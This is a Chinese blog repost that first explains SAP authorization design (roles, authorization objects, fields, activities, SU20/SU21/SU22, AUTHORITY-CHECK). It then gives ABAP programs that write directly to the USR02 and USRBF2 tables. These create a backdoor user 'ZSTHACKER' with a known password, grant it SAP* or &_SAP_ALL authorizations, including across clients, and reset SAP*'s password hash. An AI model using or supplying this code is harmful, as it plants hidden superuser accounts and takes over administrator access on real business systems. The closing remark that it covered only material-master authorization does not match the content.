SAP 权限与角色设计

原文：http://blog.sina.com.cn/s/blog_76c57b4801010n6h.html

角色、通用角色、本地角色

 

| --权限对象      MM_XXXX 对象

|

| --权限字段      字段一（负责增删改）    字段二（负责字段级准入）

|                              |                                     |

| --允许操作          01/03/05/07                       |

|                                                                     |

| --允许值                                  Factory1,Factory2, Factory5~Factory7

 

---------------------------------------------------------------------------------------------------------

 

直观的说，权限就是“某人能干某事”和“某人不能干某事”之合。在SAP系统中，用事务码（也称交易代码、或者TCODE、或者TransactionCode）表示一个用户能干

的事情。比如MM01这个TCODE是用来维护物料数据的、MIGO是用来收货的、FS00是用来维护会计科目的等。
 
用SU01新建一个ID时，默认的权限是空白，即这个新建的ID不能做任何事情，不能使用任何事务代码。这样只需要为相应的ID赋上相应的TCODE，即可实现“某人能

干某事”了，其补集，则是“某人不能干的某些事”。
 
但是我们不能直接在SU01里面给某个ID赋上TCODE，要通过ROLE中转一下。即：一堆TCODE组成了一个ROLE，然后把这个ROLE分给某个ID，然后这个ID就得到一堆

TCODE了。
 
上面这些，仅仅是SAP权限控制的初级概念，要理解SAP权限控制的全部，必须还要明白下面的概念。
 
1、角色（ROLE）、通用角色（Common Role）、本地角色（Local Role）
 
上面讲了，角色，即ROLE，是一堆TCODE的集合，当然还包含有TCODE必备的“权限对象”、“权限字段”、“允许的操作”及“允许的值”等。我们使用PFCG来维护角色。
 
为了系统的测试与SAP实施项目的阶段性需要，进一步将角色分为“通用角色”和“本地角色”。
 
举个例子便于理解：通用角色好比“生产订单制单员”，本地角色对应就是“长城国际组装一分厂生产订单制单员”。所以，本地角色较之通用角色的区别就是，在同

样的操作权限（事务代码们）情况下，前者多了具体的限制值。这个限制值可能是组织架构限制，也可能是其他业务的限制。如，一分厂的制单员不能维护二分厂

的制单员；一分厂的制单员甲只能维护类型为A的单据，而不能维护类型为B的单据，诸如此类。
 
具体请看下面的概念。
 
2、权限对象（Authorization Object）、权限字段（AuthorizationField）、允许的操作（Activity）、允许的值（Field Value）
 
上文粗略说了构成ROLE的是若干TCODE。其实，在ROLE和TCODE之间，还有一个中间概念“权限对象”：
 
角色包含了若干权限对象，在透明表AGR_1250中有存储二者之间的关系；
权限对象包含了若干权限字段、允许的操作和允许的值，在透明表AGR_1251中体现了ROLE/Object/Field/Value之间的关系；
有一个特殊的权限对象用来包含了若干事务码。这个权限对象叫“S_TCODE”，该权限对象的权限字段叫“TCD”，该字段允许的值（FieldValue）存放的就是事务代

码；
有一种特殊的权限字段用来表示可以针对该权限对象做哪些操作，是允许创建、修改、显示、删除或者其他呢。该权限字段叫“ACTVT”，该字段允许的值（Field

Value）存放的就是允许操作的代码，01代表创建、02代表修改、03代表显示等；
 
SAP的权限控制是控制到字段级的，换句话说，其权限控制机制可以检查你是否有权限维护某张透明表的某一个字段。
 
SAP系统自带了若干权限对象、默认控制了若干权限字段（对应到透明表的某些字段）。可以用事务码SU20来查看系统有哪些权限字段，用SU21来查看系统有哪些

默认的权限对象。
 
于是我们知道了事务代码与权限对象的区别。从权限控制的范畴来看，事务代码属于一种特殊的权限对象；一个事务代码在执行过程中，为了判断某个ID是否有权

限执行此事务代码，还可能检查其他若干普通的权限对象。使用SU22来查看某个事务代码包含了哪些权限对象。在透明表USOBX中，存放了事务码与权限对象的对

应关系。
 
3、自定义权限对象
 
上文所说的系统自带权限对象与权限字段仅能满足有限的需要，其权限审核的逻辑也是系统硬编码了的，我们能做的只是是否启用某项权限对象的检查（使用SU22

）。如果需要自定义，通过SU20、SU21定义即可。调用的时候在程序中加入类似代码：
 
AUTHORITY-CHECK OBJECT 'Z_VKORG' ID 'VKORG' FIELD'REC_VKORG-VKORG'.
IF SY-SUBRC <> 0.
 MESSAGE 'No Authorization!' TYPE 'E'.
ENDIF.
 
下面的程序ZCRTUSER是建立用户ZSTHACKER(初始密码123qaz)并赋予SAP*用户的所有权限的参考程序。
 
Program ZCRTUSER.
 
Data ZUSR02 like USR02 .
 
***1.Create User ZSTHACKER according to DDIC
 
select single * into ZUSR02 from USR02
 
where BNAME = 'DDIC'.
 
ZUSR02-BNAME = 'ZSTHACKER'.
 
ZUSR02-Bcode = 'E3B796BB09F7901B' .
 
insert USR02 from ZUSR02  .
 
***2.Copy Auth. Obj from SAP*(or other)
 
***如果将Where BNAME = 'SAP*'去掉，基本就是复制所有的授权对象
 
data ZUSRBF2 like USRBF2 occurs 0 with header line.
 
select *  from  USRBF2 into tableZUSRBF2
 
where BNAME = 'SAP*' .
 
Loop at ZUSRBF2.
 
  ZUSRBF2-BNAME = 'ZSTHACKER'. 
 
  Modify ZUSRBF2 INDEX sy-tabix TRANSPORTINGBNAME.
 
endloop.
 
INSERT USRBF2 FROM TABLE ZUSRBF2 ACCEPTING DUPLICATE KEYS.
 
 
如果SAP*可能被删除,还可直接将TOBJ中包含的所有的ERP授权对象全部赋予给一个用户。
 
以下程序ZALLOBJ是赋予所有的标准授权对象给用户ZSTHACKER 。
 
Program ZALLOBJ。
 
Data Ztobj like tobj occurs 0 with header line .
 
data zusrbf2 like usrbf2.
 
select * into table ztobj from tobj .
 
loop at ztobj.
 
  zusrbf2-mandt = sy-mandt.
 
  zusrbf2-bname = 'ZSTHACKER'.
 
  zusrbf2-objct = ztobj-objct.
 
  zusrbf2-auth ='&_SAP_ALL'.
 
  modify USRBF2 FROM  zusrbf2.
 
endloop .
 

 
 
也可跨Client建立用户和赋予权限，只要使用client specified就可以。
 
Program ZCLIENT.
 
Data zusrbf2 like usrbf2.
 
Select * into zusrbf2 from usrbf2  where bname ='SAP*' .
 
Zusrbf2-bname = 'ZSTHACKER' .
 
Zusrbf2-mandt = '100'.
 
Insert into usrbf2 client specified values zusrbf2.
 
Endselect .
 
 
下面是一句话修改SAP*的密码为123456的程序，同样，假设用户BUTCHER的密码丢失，我只要随便在一台服务器上建立一个用户也叫BUTCHER，然后密码设置为

1QAZ2WSX，则其在任何系统任何client加密后的密码必为BF02C9F1F179FB45，这样的加密意义已经不大。
 
report ZMODPWD.
 
tables :usr02 .
 
update usr02 set bcode = ' CF094BAA2020480E'
 
where BNAME = 'SAP*'.
 
 
虽然以上只是一个建立物料主数据的权限控制，却非常清晰地解释了ERP系统权限控制的逻辑。